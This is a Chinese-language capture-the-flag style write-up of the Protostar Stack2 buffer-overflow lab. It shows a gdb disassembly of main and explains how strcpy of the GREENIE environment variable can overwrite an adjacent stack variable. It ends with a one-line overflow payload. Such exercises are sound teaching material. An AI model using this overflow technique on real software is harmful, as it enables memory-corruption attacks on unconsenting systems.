Pwn系列之Protostar靶场 Stack2题解

2023-07-29,,

(gdb) disass main
Dump of assembler code for function main:
0x08048494 <main+0>: push ebp
0x08048495 <main+1>: mov ebp,esp
0x08048497 <main+3>: and esp,0xfffffff0
0x0804849a <main+6>: sub esp,0x60
0x0804849d <main+9>: mov DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
0x080484a9 <main+21>: mov DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>: cmp DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: mov DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>: mov DWORD PTR [esp],0x1
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
0x080484c8 <main+52>: mov DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>: mov eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>: mov DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>: lea eax,[esp+0x18]
0x080484dc <main+72>: mov DWORD PTR [esp],eax
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>: cmp eax,0xd0a0d0a
0x080484ed <main+89>: jne 0x80484fd <main+105>
0x080484ef <main+91>: mov DWORD PTR [esp],0x8048618
0x080484f6 <main+98>: call 0x80483cc <puts@plt>
0x080484fb <main+103>: jmp 0x8048512 <main+126>
0x080484fd <main+105>: mov edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>: mov eax,0x8048641
0x08048506 <main+114>: mov DWORD PTR [esp+0x4],edx
0x0804850a <main+118>: mov DWORD PTR [esp],eax
0x0804850d <main+121>: call 0x80483ac <printf@plt>
0x08048512 <main+126>: leave
0x08048513 <main+127>: ret
End of assembler dump.

首先看到函数getenv获取环境变量,然后main+9就是push参数的过程。查看0x80485e8地址的值。

(gdb) x /1sw 0x80485e8
0x80485e8: "please set the GREENIE environment variable\n"

所以程序要先从环境变量里读取GREENIE的值,然后再操作。至于GREENIE的值设置为多少,还需要进一步分析。main+25行分析出GREENIE不能为0,main+84判断出要等于0xd0a0d0a。因此,只要把[esp+0x58]内存所指向的数据改为0xd0a0d0a即可。怎么修改呢?看到了strcpy函数,这是典型的拷贝过程中发生栈溢出的函数。

payload: print 64*"a"+"\x0a\x0d\x0a\x0d"

Pwn系列之Protostar靶场 Stack2题解的相关教程结束。

《Pwn系列之Protostar靶场 Stack2题解.doc》

下载本文的Word格式文档,以方便收藏与打印。